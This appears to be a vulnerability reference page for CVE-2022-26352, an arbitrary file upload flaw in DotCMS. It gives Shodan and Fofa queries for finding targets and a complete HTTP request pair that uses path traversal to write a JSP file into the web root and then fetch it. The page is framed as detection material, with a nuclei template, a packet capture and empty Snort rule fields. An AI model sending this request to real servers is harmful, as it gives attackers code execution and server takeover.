🔙 목록으로 돌아가기

CVE-2022-26352: DotCMS - Arbitrary File Upload

TitleDotCMS - Arbitrary File Upload
Authorh1ei1
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
RemediationApply the latest security patches or updates provided by the vendor to fix this vulnerability.
CVSS Score9.8
EPSS Score0.94337
CVE IDCVE-2022-26352
CWE IDCWE-22
Shodan Queryhttp.title:"dotcms"
Fofa Querytitle="dotcms"
Tags cve cve2022 packetstorm rce dotcms kev fileupload intrusive vkev vuln

🔍 Vulnerability Description

DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.

🌐 HTTP Request

POST /api/content/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 315
Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3
Accept-Encoding: gzip

--------------------------aadc326f7ae3eac3

Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/38F8Haj8oCIeUQQoOuuYnnQwr9a.jsp"

Content-Type: text/plain



<%

out.println("CVE-2022-26352");

%>

--------------------------aadc326f7ae3eac3--
GET /38F8Haj8oCIeUQQoOuuYnnQwr9a.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-26352.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-26352.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A